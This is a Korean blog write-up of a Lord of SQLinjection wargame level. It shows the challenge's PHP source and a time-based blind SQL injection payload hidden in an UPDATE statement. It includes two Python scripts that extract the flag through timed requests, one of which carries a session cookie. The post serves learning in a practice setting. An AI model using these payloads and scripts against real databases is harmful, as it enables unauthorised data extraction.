webhacking/sql, sql injection

Lord Of SQLinjection rubiya

qkqhxla1 2015. 2. 22. 13:08


<?php
  
include "prob_rubiya_timer.php";
  include 
"./config.php"// $prob_rubiya_salt = "???????";
  
login_chk();
  
dbconnect();

  function 
reset_flag($flag_salt){
    
$new_flag substr(md5($flag_salt.rand(10000000,99999999).$flag_salt.rand(10000000,99999999).$flag_salt.rand(10000000,99999999)),8,16);
    
$chk = @mysql_fetch_array(mysql_query("select id from prob_rubiya where id='{$_SESSION[los_id]}'"));
    if(!
$chk[id]) mysql_query("insert into prob_rubiya values('{$_SESSION[los_id]}','{$new_flag}')");
    else 
mysql_query("update prob_rubiya set flag='{$new_flag}' where id='{$_SESSION[los_id]}'");
    echo 
"reset ok";
    
highlight_file(__FILE__);
    exit();
  }

  if(!
$_GET[flag]){ highlight_file(__FILE__); exit; }

  if(
preg_match('/prob|_|\.|evil|hell/i'$_GET[flag])) exit("No Hack ~_~");
  if(
preg_match('/id|where|order|limit|,/i'$_GET[flag])) exit("HeHe");
  if(
strlen($_GET[flag])>100) exit("HeHe");

  
$realflag = @mysql_fetch_array(mysql_query("select flag from prob_rubiya where id='{$_SESSION[los_id]}'"));

  @
mysql_query("create temporary table prob_rubiya_temp as select * from prob_rubiya where id='{$_SESSION[los_id]}'");
  @
mysql_query("insert into prob_rubiya_temp values('{$_SESSION[los_id]}','{$realflag[flag]}')");
  @
mysql_query("update prob_rubiya_temp set flag={$_GET[flag]}");

  
$tempflag = @mysql_fetch_array(mysql_query("select flag from prob_rubiya_temp"));
  if((!
$realflag[flag]) || ($realflag[flag] != $tempflag[flag])) reset_flag($prob_rubiya_salt);

  if(
$realflag[flag] === $_GET[flag]) solve("rubiya");
?>


라는 복잡한 쿼리이다. 살펴보면 내가 값을 집어넣을수 있는 부분은 $_GET[flag]부분이다. 그리고 이 부분에 필터링이 되있는 걸로보아 여기에 인젝션하는게 맞다. flag에는 php에 엄청나게 많은 값을 넣어서 죽게 하기 위한 기법을 방지하기 위해 길이방지가 되있고, extractvalue와 같은 에러기반 인젝션 등을 사용하지 못하게 ,가 필터링 되어있다. 우리가 주목할 부분은

@mysql_query("update prob_rubiya_temp set flag={$_GET[flag]}");

부분인데, 위의 reset_flag함수는 아무리 살펴봐도 변조하거나 딴 수작을 부릴 수 없다. (salt값도 안보이고 랜덤으로 flag를 만든다.)


reset_flag함수는 그냥 flag를 다시 만드는 함수이다.(여기는 이제 신경쓰지 말자.)

이제 update에서 인젝션을 해야되는데, 주의점은 어떠한 flag를 넣게 되면 바로 

if((!$realflag[flag]) || ($realflag[flag] != $tempflag[flag])) reset_flag($prob_rubiya_salt);

부분이 실행되서 flag가 리셋된다. 결국 update에서 검사만 하고 실제로 쿼리문이 실행되지는 않게 해야 한다.

다행이 이것저것 입력해 본 결과 에러를 발생시키면 그냥 화면이 없어진다.(쿼리가 실행 안된다는 소리.)


테이블을 만들어보고 실행해보면 알텐데, 

mysql> update prob set id=sleep(case when pw like '%' then sleep(3)|(select 1 union select 2)else(select 1 union select 2) end); 


처럼 억지로 쿼리를 만들 수 있었다. 그런데 실행시키다 보니 또 걸리는게 100자 이상을 넘어가면 안되는데.... 여기서 또 한참을 고민하다가


update prob set pw=sleep(pw like '%')|(select 1 union select 2); 처럼 줄일 수 있었다.

지금 글적으면서 생각해봤는데 sleep(ascii(substr(pw from 1 for 1))=49)처럼 49가 맞는경우에도 1초 멈춘다.


이걸 이용하면 된다.32~127 사이의 숫자를 돌려서 1초 멈추게되는 글자를 모두 가져온다.

# -*- encoding: cp949 -*-
import urllib2, time

answer = ''
for j in range(32,128):
    if chr(j)=='%' or chr(j) =='_':
        continue
    start = time.time()
    req = urllib2.Request('http://leaveret.kr/los/rubiya_d57c87a3ac2cfcfe87ecabe083285e57.php?flag=sleep(flag%20like%20%27%25'+chr(j)+'%25%27)|(select%201%20union%20select%202)')
    req.add_header('cookie','PHPSESSID=세션')
    urllib2.urlopen(req).read()
    gap = time.time() - start
    print j,gap,answer
    if gap > 1:
        answer += chr(j)
print answer

내가했을때 '1 2 4 5 9 A B C F a b c f' 가 나오게되는데, like는 대소문자를 안 가리는 방법이다.

답이 영소문자+숫자이므로(reset_flag함수를 살펴보면 md5로 flag를 만드는데 당연히 영소문자이다.)

영어 대문자를 지워버리면 '1 2 4 5 9 a b c f' 만 남게 된다. 이걸 조합하면 답이 된다.

# -*- encoding: cp949 -*-
import urllib2,time
flag = '1 2 4 5 9 a b c f'.split()
flag2 = '1 2 4 5 9 a b c f'.split()
while len(flag2)!=1:
    temp = []
    for i in flag2:
        for j in flag:
            start = time.time()
            req = urllib2.Request('http://leaveret.kr/los/rubiya_d57c87a3ac2cfcfe87ecabe083285e57.php?flag=sleep(flag%20like%20%27%25'+i+j+'%25%27)|(select%201%20union%20select%202)')
            req.add_header('cookie','PHPSESSID=v4af856cs6aeeshksj6gn31lv1')
            page = urllib2.urlopen(req).read()
            print i,j,'\n',flag2
            if time.time()-start > 1:
                temp.append(i+j)
    flag2 = temp
print 'flag is = '+flag2[0]

이런식으로 코딩을 하게 되면 like문에 따라서 알아서 주위의 것들을 찾아준다. 계속 돌리다보면 뭔가 잘못된것처럼 리스트가 엄청 많아지다가 숫자가 길어질수록 리스트가 알아서 줄어든다 (돌려보세요.) 그후에 답이 되면 하나만 남게 된다. 원리는 like로 %내부 pw문자 조합%을 찾는데, 내부 길이가 길어질수록 답이랑 틀린 것들은 알아서 떨어져나가게 되는 원리이다.